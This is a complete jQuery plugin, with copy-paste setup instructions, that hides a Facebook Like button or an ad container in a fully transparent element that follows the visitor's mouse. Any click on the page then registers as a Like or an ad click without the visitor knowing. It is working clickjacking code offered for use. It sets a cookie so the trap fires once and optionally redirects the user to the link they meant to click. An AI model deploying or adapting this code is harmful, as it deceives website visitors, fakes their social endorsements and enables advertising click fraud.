//      
//      How to use?
//      
//      1. Copy-paste this script 
//      
//      <div id="tip"><!-- Put Your Ads here if you set parameter type: 'ads' --></div>
//      <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
//      <script src="https://connect.facebook.net/en_US/all.js#xfbml=1"></script>
//      <script src="https://rbmcdn.googlecode.com/svn/trunk/core/js/misc/clicktrack.js"></script>
//      <script type="text/javascript">
//      (function($){
//         $(document).ready(function(){
//            $(this).liking({
//               url: 'http://yourdomain.com',
//               element: document,
//               cookiename: 'yourcookiename',
//               cookieexp: 60,
//               selector: '#tip',
//               after: function(){ 
//                  /** Comment */
//               }
//            });
//         });
//      })(jQuery);
//      </script>
//      
//       2. Parameters
//      
//       -- Put your domain which like button placed --
//       url: 'http://youromain.com'
//
//       -- Default is like --
//       type: 'ads'
//      
//       -- document = all in window, 'a' = all anchor only, '#id' = element with id, '.class' = element with class --
//       element: document
//   
//       -- You can rename your cookie. If you using wordpress, you can change it with <?php the_permalink(); ?> --
//       cookiename: 'yourcookiename'
//   
//
//       -- Cookies Expire in day(s) --
//       cookieexp: 30
//   
//       -- Button Replacement --
//       selector: '#tip'
//   
//       -- You can set, css manually --
//       selectorCSS: {'opacity':'0.5'} 
//   
//       -- Set X coordinate --
//       x: 5
//   
//       -- Set Y coordinate --
//       y: 5
//      
//      


(function($){
$.fn.liking = function (options) {
   var defaults = {
      url: 'http://www.facebook.com/',
      element: document,
      cookiename: 'click',
      cookieexp: 30,
      selector: '#tooltip',
      selectorCSS: '',
      x: 5,
      y: 5,
      type: 'like',
      debug: false,
      after: function(){}
   },
   ahref,
   options = $.extend(defaults, options),
   cook = readCookie(defaults.cookiename);
   
   /** Styling Selector, Add transparent, Absolute position, etc. */
   $(defaults.selector).css({
      'cursor':'pointer',
      'position': 'absolute',
      'border':'1px solid #ffffff'
   });
   
   if(defaults.debug === false) {
      $(defaults.selector).css({
         '-ms-filter':'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)',
         'filter':'alpha(opacity=0)',
         '-moz-opacity':'0',
         '-khtml-opacity':'0',
         'opacity': '0'
      });
   }
   
   /** Check browser */
   if($.browser.msie){
      /** Nothing to do in IE */
   } else {
      $(defaults.selector).css({'width':'10px', 'height': '10px', 'overflow':'hidden'});
   }
   
   /* RENDERING, If cookies has been wrote, show click selector */
   if (cook != "true") {
      $(document).delegate("a","mouseenter", function(){
         window.ahref = $(this).attr('href');
      });
      $(defaults.element).mousemove(function(e){
         $(defaults.selector).css({'top': (e.pageY - defaults.y)+'px', 'left': (e.pageX - defaults.x)+'px'});
      });
   } else {
      $(defaults.selector).hide();
   }
   
   /** if selectorCSS not null, add css from params value /*/
   if(defaults.selectorCSS != ''){
      $(defaults.selector).css(defaults.selectorCSS);
   }
   
   switch(defaults.type)
   {
      case 'like':
         /** Add class to selector */
         $(defaults.selector).addClass('fb-nice-like');
         
         /** Append FB Buttont selector */
         $(defaults.selector).html('<'+'fb:like href="'+defaults.url+'" send="false" width="450" show_faces="false"></fb:like'+'>');
         
         /** Positioning like button */
         /**$(defaults.selector).children().css({'margin-top': '-5px','margin-left':'-35px'});*/
         
         /** After like button has been clicked */
         FB.Event.subscribe('edge.create', function (href) {
            is_done(true, defaults.cookiename, defaults.cookieexp);
            $('.fb-nice-like').remove();
            defaults.after();
            if(window.ahref != 'undefined' && defaults.element == 'a'){
               window.location = window.ahref;
            }
         });
         break;
      case 'ads':
         /** Add class to selector */
         $(defaults.selector).addClass('advertisement17');
         $(defaults.selector).children().css({'margin-top': defaults.y+'px','margin-left':defaults.x+'px'});

         /** After clicked */
         if(cook != "true" || defaults.debug != true) { 
            window.isActive = true;
            $(window).focus(function() { this.isActive = true; });
            $(window).blur(function() { this.isActive = false; });
            showIsActive(defaults.element, defaults.cookiename, defaults.cookieexp);
         }
   }
}
})(jQuery);
function is_done(action, name, exp) {
   if (action == true) {
     createCookie(name, 'true', exp);
   }
}
function createCookie(name, value, days) {
   if (days) {
     var date = new Date();
     date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
     var expires = "; expires=" + date.toGMTString()
   } else var expires = "";
   document.cookie = name + "=" + value + expires + "; path=/";
}
function readCookie(name) {
   var nameEQ = name + "=";
   var ca = document.cookie.split(';');
   for (var i = 0; i < ca.length; i++) {
     var c = ca[i];
     while (c.charAt(0) == ' ') c = c.substring(1, c.length);
     if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
   }
}
function showIsActive(elements, cookiename, cookieexp){
   var ctj = jQuery.noConflict();
   if(window.isActive == true) {
      ctjw = window.setTimeout(function(){ showIsActive(elements, cookiename, cookieexp); }, 3000);
   } else {
      clearTimeout(ctjw);
      is_done(true, cookiename, cookieexp);
      ctj('.advertisement17').remove();
      if(window.ahref != 'undefined' && elements == 'a'){
            window.location = window.ahref;
      }
   }
}
/** Render */
FB.XFBML.parse();